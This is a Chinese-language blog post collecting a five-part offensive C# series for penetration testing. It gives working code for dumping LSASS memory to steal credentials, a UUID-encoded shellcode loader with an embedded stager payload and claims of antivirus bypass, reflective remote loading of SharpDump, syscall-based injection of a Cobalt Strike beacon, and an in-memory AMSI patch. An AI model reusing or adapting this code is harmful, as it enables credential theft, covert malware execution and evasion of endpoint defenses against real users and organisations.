Offensive Csharp Development

要有所行动,然后认识自己。
——〈法国作家)蒙田


Offensive Csharp Development 1-5合集,该系列文章将简单的介绍Csharp在渗透测试中的使用方法,主要为win32的使用以及一些库的调用。本文为第一篇文章,将以一个dump lsass进程的程序为例,介绍Csharp的简单使用,文章不会介绍Csharp基础性的东西,对此有兴趣的可以移步微软官方文档,或各类Csharp基础教学书籍、视频进行学习。

Part1

win32的调用

在整个Csharp的使用过程中,最重要的就是win32的调用,由于Csharp不向C/C++可以直接调用win32api进行使用,所以我们一般使用一种叫做P/Invoke的方法在DLL中使用win32api。具体可参考官方文档:https://docs.microsoft.com/en-us/archive/msdn-magazine/2003/july/net-column-calling-win32-dlls-in-csharp-with-p-invoke

其基本调用形式可以参考下面的使用:

1
[DllImport("User32.dll")] static extern Boolean MessageBeep(UInt32 beepType);

其数据类型的转换如下表:

image.png

windows数据类型的转换如下:

image.png

其他类表

image.png

那么如果一个一个的来进行修改无非是费时费力的,这里我们一般使用一个叫做http://www.pinvoke.net/的网站来帮我们实现api的调用过程,当然其也支持vs插件。比如我们需要一个messagebox的api,就可以直接在该网站上搜索该api

image.png

其给出了C#以及VB的调用方法,C#的调用方法如下:

1
2
[DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
public static extern int MessageBox(int hWnd, String text, String caption, uint type);

下面我们新建一个Csharp程序,然后来使用这个API。记得加入using System.Runtime.InteropServices;因为DllImport是System.Runtime.InteropServices命名空间下的一个属性类,其功能是提供从非托管DLL导出的函数的必要调用信息。

然后放入我们的代码并调用它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
using System;
using System.Timers;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;

namespace Basic3
{

class Program
{
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern int MessageBox(int hWnd, String text, String caption, uint type);
static void Main(string[] args) {
MessageBox(0, "Hello World!", "Hello Dialog", 0);
}
}
}

执行,成功弹框。

image.png

SharpDump

知道了如何调用win32,下面我们来编写一个dump lsass进程的小程序。dump lsass进程网上有很多的demo,其实更多的还是在使用MiniDumpWriteDump来进行内存dump,其原型如下:

1
2
3
4
5
6
7
8
9
BOOL MiniDumpWriteDump(
HANDLE hProcess,
DWORD ProcessId,
HANDLE hFile,
MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);

那么这时候我们便可以用之前说的方法来调用这个api来进行使用了。之前的调用方法我们一般称为托管 调用 非托管,关于一些名词的解释请自行百度,这里不再过多解释。除了之前的方法还有一种就是调用UnmanagedFunctionPointer以获得自定义调用约定。一般用以回调函数。

1
2
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public static delegate {callback};

那我们就可以这样来写

1
2
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, SafeHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);

一般的此类函数的调用方法如下:

1
var MyFunctionPointer = (DMyUserCallFunction)Marshal.GetDelegateForFunctionPointer(AddressOfFunction, typeof(DMyUserCallFunction));

那我们这里便是:

1
2
IntPtr createPtr = GetProcAddress(LoadLibrary("Dbghelp.dll"), "MiniDumpWriteDump");
MiniDumpWriteDump miniDumpWriteDump = (MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(createPtr, typeof(MiniDumpWriteDump));

那我们这里便是:

1
2
IntPtr createPtr = GetProcAddress(LoadLibrary("Dbghelp.dll"), "MiniDumpWriteDump");
MiniDumpWriteDump miniDumpWriteDump = (MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(createPtr, typeof(MiniDumpWriteDump));

GetProcAddress、LoadLibrary可以这样导入:

1
2
3
4
5
6
//import Win32API
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr LoadLibrary(string dll);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string name);

下面就是查找进程的问题了,Csharp提供了Process类,可以直接使用进程名称或者进程ID来进行查找:

1
Process.GetProcessById

最后就是MINIDUMP_TYPE的问题了,这个关系到dump时如何dump的问题,其原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
typedef enum _MINIDUMP_TYPE {
MiniDumpNormal,
MiniDumpWithDataSegs,
MiniDumpWithFullMemory,
MiniDumpWithHandleData,
MiniDumpFilterMemory,
MiniDumpScanMemory,
MiniDumpWithUnloadedModules,
MiniDumpWithIndirectlyReferencedMemory,
MiniDumpFilterModulePaths,
MiniDumpWithProcessThreadData,
MiniDumpWithPrivateReadWriteMemory,
MiniDumpWithoutOptionalData,
MiniDumpWithFullMemoryInfo,
MiniDumpWithThreadInfo,
MiniDumpWithCodeSegs,
MiniDumpWithoutAuxiliaryState,
MiniDumpWithFullAuxiliaryState,
MiniDumpWithPrivateWriteCopyMemory,
MiniDumpIgnoreInaccessibleMemory,
MiniDumpWithTokenInformation,
MiniDumpWithModuleHeaders,
MiniDumpFilterTriage,
MiniDumpWithAvxXStateContext,
MiniDumpWithIptTrace,
MiniDumpScanInaccessiblePartialPages,
MiniDumpValidTypeFlags
} MINIDUMP_TYPE;

这里我们如果定义成MINIDUMP_TYPE类型,那么我们将需要把这些内容全部自己定义出来,而我们刚才把其定义成立Int,此时则只需要给其传递一个2进去即可,即表示完整dump。

最后效果如下:

image.png

当然这个程序还是又很多其他的问题的,比如还可以加入自动提权等等。最后的代码可以在这里找到:https://github.com/lengjibo/OffenSiveCSharp

Part2

本文是OffenSive Csharp Development的第二篇文章,来将UUID免杀方法转换成C#进行使用。原来的UUID方法源码如下,本质还是api滥用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<Windows.h>
#include<Rpc.h>
#include<iostream>
#pragma comment(lib,"Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "0089e8fc-0000-8960-e531-d2648b52308b","528b0c52-8b14-2872-0fb7-4a2631ff31c0","7c613cac-2c02-c120-cf0d-01c7e2f05257","8b10528b-3c42-d001-8b40-7885c0744a01","488b50d0-8b18-2058-01d3-e33c498b348b","ff31d601-c031-c1ac-cf0d-01c738e075f4","3bf87d03-247d-e275-588b-582401d3668b","588b4b0c-011c-8bd3-048b-01d089442424","59615b5b-515a-e0ff-585f-5a8b12eb865d","74656e68-6800-6977-6e69-54684c772607","ff31d5ff-5757-5757-5768-3a5679a7ffd5","000084e9-5b00-c931-5151-6a0351516850","53000000-6850-8957-9fc6-ffd5eb705b31","006852d2-4002-5284-5252-53525068eb55","d5ff3b2e-c689-c383-5031-ff57576aff53","062d6856-7b18-d5ff-85c0-0f84c3010000","f685ff31-0474-f989-eb09-68aac5e25dff","68c189d5-2145-315e-ffd5-31ff576a0751","b7685056-e057-ff0b-d5bf-002f000039c7","ff31b774-91e9-0001-00e9-c9010000e88b","2fffffff-6b31-566a-00fe-dc7a2d31c9e7","42b51e28-625f-f5a3-6442-792da2d8f774","c764c1ca-fec2-b232-360a-a0904efad447","d98ba404-65e6-8fa1-bee4-b69563f0b446","60f88520-b15e-a0f8-59ef-9eb2c6e6f95d","5500078e-6573-2d72-4167-656e743a204d","6c697a6f-616c-352f-2e30-2028636f6d70","62697461-656c-203b-4d53-49452031302e","57203b30-6e69-6f64-7773-204e5420362e","57203b32-574f-3436-3b20-54726964656e","2e362f74-3b30-5420-6f75-63683b204d41","534a5053-0d29-000a-91a8-10b7da807fab","2f1623c7-614b-ebbd-a514-6f904bdf5a58","1f5557e0-6adb-7456-c2a1-9c9f32da910d","952d1001-8eef-7249-3a2b-9e598e85a6ad","98c69cb6-7d10-1f09-60a3-4aeabe4af549","d618c78a-2260-1751-b8d6-61d38a81373e","3d1c3d6a-f3c5-57a0-0204-4457c1142371","6c8708c2-6b94-c189-d92b-cc6b62253fbb","f102569f-4d54-914d-4e89-5bda5ff092a5","cfafb2ac-e2bb-b0af-ca5b-08834c927ab5","07d2b997-8fc9-80b7-fc26-3da3d19e2942","780bcd05-11c2-4f86-6657-dae24b98cc46","febde54d-2cc7-d3c4-e5c0-f943cad41d5a","6800da73-b5f0-56a2-ffd5-6a4068001000","00006800-0040-6857-58a4-53e5ffd593b9","00000000-d901-5351-89e7-576800200000","12685653-8996-ffe2-d585-c074c68b0701","75c085c3-58e5-e8c3-a9fd-ffff31302e31","32342e39-312e-3434-0012-345678000000" };
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄
void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间
if (ha == NULL)
{
cout << "内存申请失败!" << endl;
return 0;
}
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数
for (int i = 0; i < elems; i++)
{
//cout << (RPC_CSTR)uuids[i] << endl;
//cout << (UUID*)hptr << endl;
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode
if (status != RPC_S_OK)//判断是否写入正常
{
cout << "UuidFromeStringA()!=S_OK" << endl;
CloseHandle(ha);
return -1;
}
hptr += 16;
}
//((void(*)())ha)();
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode
CloseHandle(ha);
return 0;
}

首先还是我们的api导入:

1
2
3
4
5
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapCreate(uint flOptions, UIntPtr dwInitialSize,UIntPtr dwMaximumSize);

[DllImport("kernel32.dll", SetLastError = false)]
static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);

而UuidFromStringA、EnumSystemLocalesA却无法直接调用,我们可以像上篇文章一样用UnmanagedFunctionPointer的方法来做,不过我们这里要讲的是叫做 DInvoke的方法,即Dynamically invoke arbitrary unmanaged code from managed code without PInvoke.官方地址如下:
https://github.com/TheWover/DInvoke,学C#就找TheWover,yyds。里面自带了我们所需的在dll中获取函数的方法:

1
2
IntPtr prpcrt4 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("rpcrt4.dll");
IntPtr pUuidFromStringA = DInvoke.DynamicInvoke.Generic.GetExportAddress(prpcrt4, "UuidFromStringA");

然后调用:

1
(IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pUuidFromStringA, typeof(DELEGATE.UuidFromStringA), ref uuidFromStringAParam);

函数的参数一般使用一个object来进行定义

1
object[] uuidFromStringAParam = { uuids[i], newHeapAddr };

剩下的就是shellcode转uuid,然后把其余代码重写成C#就行啦。最后效果:

image.png

我们来看一下免杀效果,C版本的:

image.png

C#版本的:

image.png

稳过火绒。完整代码地址如下:https://github.com/lengjibo/OffenSiveCSharp/tree/master/UuidShellcode

Part3

反射是什么?这里引用百度百科对其的解释:反射指程序可以访问、检测和修改它本身状态或行为的一种能力。

关于它的基础使用和api调用可以参考MSDN文档:https://docs.microsoft.com/en-us/dotnet/api/system.reflection?view=netframework-4.5,这里不再赘述。其加载方式主要分为下面三种:

1、Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘。

2、Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。

例如:
Assembly.LoadFrom(“a.dll”),如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll。

3、Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。

例如:
Assembly.LoadFile(“a.dll”),如果a.dll中引用了b.dll,那么不会加载b.dll。

反射使用

这里以一个小demo来讲解反射的具体用法。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
using System;
using System.Reflection;

namespace Basic3
{

class Program
{
public static void Main()
{
string base64str = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
byte[] buffer = Convert.FromBase64String(base64str);

Assembly assembly = Assembly.Load(buffer);

Type type = assembly.GetType("TestApplication.aaa");

MethodInfo method = type.GetMethod("bbb");

Object obj = assembly.CreateInstance(method.Name);

method.Invoke(obj, null);

}
}
}

这里采用的是反射加载base64的方式,base64还原后是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using System;

namespace TestApplication

{
public class Program

{
    public static void Main()

    {
        Console.WriteLine("Main");

    }

}

public class aaa

{
    public static void bbb()

    {
        System.Diagnostics.Process p = new System.Diagnostics.Process();

        p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";

        p.Start();

    }

}

}

所以一个基本的反射流程如下:

1
Assembly.Load获取主文件-->GetType获取命名空间及类-->GetMethod获取方法-->CreateInstance获取信息-->Invoke调用

最后成功弹出calc

image.png

实操

下面将展示使用反射来加载https://github.com/GhostPack/SharpDump的方法。因为其main函数的问题,我们为其加上一个方法,来方便我们调用,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
public static void RunMain()
{
string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
string dumpDir = String.Format("C:\\Windows\\Temp\\", systemRoot);
if (!Directory.Exists(dumpDir))
{
Console.WriteLine(String.Format("\n[X] Dump directory \"{0}\" doesn't exist!\n", dumpDir));
return;
}

Minidump();
}

然后我们这里选择远程加载+base64的方法。先对程序进行编码:

image.png

然后编写加载程序。代码已传至github

效果如下:

image.png

VT查杀:

image.png

Part4

首先我们要理解系统调用的概念。在Windows中,进程的体系结构分为两种处理器访问模式——用户模式(user mode)和内核模式(kernel mode)。 这两种模式是为了保护用户应用程序免于访问和修改任何重要的系统数据。 用户应用程序(例如Chrome,Word等)均在用户模式下运行,而系统代码(例如系统服务和设备驱动程序)均在内核模式下运行。如图:

image.png

在内核模式下,处理器允许程序访问所有系统内存以及所有CPU指令。有一些x86和x64的处理器也使用ring levels这样的术语来区分这两种模式。

使用ring level特权模式的处理器定义了四个特权级别(rings)来保护系统代码和数据。下图是一个ring levels的示例。

image.png

Windows只使用其中的两个级别:Ring0表示内核模式,Ring3表示用户模式。在处理器正常运行期间,处理器会根据其上运行的代码类型在这两种模式之间进行切换。为了让用户应用程序能够在内核模式下访问这些数据结构,进程使用了一个特殊的处理器指令触发器,叫做“ syscall”。该指令触发了处理器访问模式的转换,并允许处理器访问内核中的系统服务调用代码。我们使用windbg来查看该过程。

1
2
x ntdll!NtFlushInstructionCache
u 00007ffb`f7f3e330

image.png

此时我们便看到了整个过程以及其对应的汇编代码:

1
2
3
4
mov  r10,rcx
mov eax,0E3h
syscall
ret

那么0E3h就是函数NtFlushInstructionCache的系统调用号,其完整列表可以参考:https://j00ru.vexillium.org/syscalls/nt/64/ 而D / Invoke有一个出色的方法GetSyscallStub,该方法可以在ntdll中找到给定API的syscall方法。

以NtFlushInstructionCache为例,我们需要先来定义它的委托。

1
2
3
4
5
6
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate NTSTATUS NtFlushInstructionCache(
Process processHandle,
IntPtr address,
int bytes
);

结构体NTSTATUS可以在https://www.pinvoke.net/default.aspx/Enums/NtStatus.html找到,然后就是获取函数的问题了:

1
2
IntPtr stub = Generic.GetSyscallStub("NtFlushInstructionCache");
NtFlushInstructionCache NtFlushInstructionCaches = (NtFlushInstructionCache)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtFlushInstructionCache));

调用:

1
2
3
var processHandle = Process.GetProcessById(1796);
var status = NtFlushInstructionCaches(processHandle, IntPtr.Zero, 0);
Console.WriteLine(status);

最后的效果:

image.png

那么我们也可以用它来上线我们的CobaltStrike。即:

1
OpenProcess / VirtualAllocEx / WriteProcessMemory / CreateRemoteThread

image.png

且可以看到一个未使用ntdll的线程

image.png

Part5

首先我们先来看一下什么是amsi。

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。

服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。

AMSI为终端安全供应商提供了丰富的接口以帮助他们更好地对目标组件进行内存缓冲区安全扫描,或选择需要扫描的内容。根据微软提供的信息,AMSI支持的组件有如下几种:

  • 1、用户账户控制(UAC)
  • 2、PowerShell(脚本、交互使用和动态代码计算)
  • 3、Windows脚本主机(wscript.exe和cscript.exe)
  • 4、JavaScript和VBScript
  • 5、Office VBA宏

AMSI的整体架构如下:

image.png

剩下的就是来编写代码了。

patch前后:

1
2
3
4
5
6
7
8
9
10
11
12
amsi!AmsiScanBuffer:
00007ffb`dd183310 4c8bdc          mov     r11,rsp
00007ffb`dd183313 49895b08        mov     qword ptr [r11+8],rbx
00007ffb`dd183317 49896b10        mov     qword ptr [r11+10h],rbp
00007ffb`dd18331b 49897318        mov     qword ptr [r11+18h],rsi

amsi!AmsiScanBuffer:
00007ffb`dd183310 b857000780      mov     eax,80070057h
00007ffb`dd183315 c3              ret
00007ffb`dd183316 084989          or      byte ptr [rcx-77h],cl
00007ffb`dd183319 6b1049          imul    edx,dword ptr [rax],49h
00007ffb`dd18331c 897318          mov     dword ptr [rbx+18h],esi

效果:

image.png

之后

image.png

本文标题:Offensive Csharp Development

文章作者:冷逸

发布时间:2021年03月29日 - 21:03

最后更新:2021年03月29日 - 21:03

原始链接:https://lengjibo.github.io/CsharpDV/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------The End-------------
坚持原创技术分享,您的支持将鼓励我继续创作!